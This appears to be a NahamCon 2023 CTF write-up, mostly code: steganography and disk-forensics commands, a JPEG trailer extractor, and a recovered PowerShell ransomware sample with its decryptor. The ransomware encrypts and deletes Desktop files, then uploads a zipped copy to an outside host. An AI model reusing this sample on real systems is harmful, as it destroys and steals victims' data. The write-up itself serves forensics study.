NahamCon 2023 Writeup

# stegoveritas のインストール
pip3 install stegoveritas
sudo stegoveritas_install_deps

# stegoveritas による解析
stegoveritas tiny-little-fibers.jpg

# These markers don't have a length attribute
nonLenMarkers = [ b'\xff\xd8', b'\xff\x01', b'\xffd0', b'\xffd1', b'\xffd2', b'\xffd3', b'\xffd4', b'\xffd5', b'\xffd6', b'\xffd7' ]

# Open up the file
with open(image.veritas.file_name,"rb") as myFile:
    steg = myFile.read()

while True:
    # Grab the current header
    hdr = steg[i:i+2]

    # if Start of Image, Temporary Private, Restart, things that don't have an associated length field
    if hdr in nonLenMarkers:
            # Just move to the next marker
            i = i + 2
            continue

    # If we've found our way to the end of the jpeg
    if hdr == b'\xff\xd9':
            #print("Made it to the end!")
            # Increment 2 so we can check the length
            i += 2
            break

    # Unpack the length field
    ln = unpack(">H",steg[i+2:i+4])[0]

    # print("Found Length: {0}".format(ln))

    # Update the index with the known length
    i = i+ln+2

    # When we hit scan data, we scan to the end of the format
    if hdr == b'\xff\xda':
        #print("Start of Scan data")
        # Find the end marker
        i += steg[i:].index(b'\xff\xd9')

    # Check for trailers
    if i != len(steg):
        print("Trailing Data Discovered... Saving")
        print(steg[i:])
        # Save it off for reference
        with open(output_file, "wb") as outFile:
            outFile.write(steg[i:])

# OVA を tar にして展開してから vhdx に変換する
mv nahamcon.ova nahamcon.tar
tar -xvf nahamcon.tar
qemu-img convert -f vmdk -O vhdx "Nahamcon\ Forensics\ Challenge-disk001.vmdk" out.vhdx

.\hayabusa-2.5.1-win-x64.exe csv-timeline -d "E:\Windows\System32\winevt\Logs" -o result.csv

function encryptFiles{
	Param(
		[Parameter(Mandatory=${true}, position=0)]
		[string] $baseDirectory
	)
	foreach($File in (Get-ChildItem $baseDirectory -Recurse -File)){
		if ($File.extension -ne ".enc"){
			$DestinationFile = $File.FullName + ".enc"
			$FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open)
			$FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create)
			$cipher = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES")
			$cipher.key = [System.Text.Encoding]::UTF8.GetBytes("7h3_k3y_70_unl0ck_4ll_7h3_f1l35!")
			$cipher.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
			$cipher.GenerateIV()
			$FileStreamWriter.Write([System.BitConverter]::GetBytes($cipher.IV.Length), 0, 4)
			$FileStreamWriter.Write($cipher.IV, 0, $cipher.IV.Length)
			$Transform = $cipher.CreateEncryptor()
			$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write)
			$FileStreamReader.CopyTo($CryptoStream)
			$CryptoStream.FlushFinalBlock()
			$CryptoStream.Close()
			$FileStreamReader.Close()
			$FileStreamWriter.Close()
			Remove-Item -LiteralPath $File.FullName
		}
	}
}

$flag = "flag{892a8921517dcecf90685d478aedf5e2}"
$ErrorActionPreference= 'silentlycontinue'
$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.Split("\")[-1]
encryptFiles("C:\Users\"+$user+"\Desktop")
Add-Type -assembly "system.io.compression.filesystem"
[io.compression.zipfile]::CreateFromDirectory("C:\Users\"+$user+"\Desktop", "C:\Users\"+$user+"\Downloads\Desktop.zip")
$zipFileBytes = Get-Content -Path ("C:\Users\"+$user+"\Downloads\Desktop.zip") -Raw -Encoding Byte
$zipFileData = [Convert]::ToBase64String($zipFileBytes)
$body = ConvertTo-Json -InputObject @{file=$zipFileData}
Invoke-Webrequest -Method Post -Uri "https://www.thepowershellhacker.com/exfiltration" -Body $body
Remove-Item -LiteralPath ("C:\Users\"+$user+"\Downloads\Desktop.zip")

$baseDirectory = "E:\Users\IEUser\Desktop"

foreach($File in (Get-ChildItem $baseDirectory -Recurse -File)){
    if ($File.extension -eq ".enc"){
        $SourceFile = $File.FullName
        $DestinationFile = $File.FullName.Replace(".enc","")
        $DestinationFile

        $FileStreamReader = New-Object System.IO.FileStream($SourceFile, [System.IO.FileMode]::Open)
        $FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create)

        $cipher = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES")
        $cipher.key = [System.Text.Encoding]::UTF8.GetBytes("7h3_k3y_70_unl0ck_4ll_7h3_f1l35!")
        $cipher.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7

        $IVLengthBuffer = New-Object Byte[] 4
        $FileStreamReader.Read($IVLengthBuffer, 0, 4)

        $IVLength = [System.BitConverter]::ToInt32($IVLengthBuffer, 0)
        $IVBuffer = New-Object Byte[] $IVLength

        $FileStreamReader.Read($IVBuffer, 0, $IVLength)
        $cipher.IV = $IVBuffer

        $Transform = $cipher.CreateDecryptor()
        $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write)
        $FileStreamReader.CopyTo($CryptoStream)
        $CryptoStream.FlushFinalBlock()

        $CryptoStream.Close()
        $FileStreamReader.Close()
        $FileStreamWriter.Close()
    }
}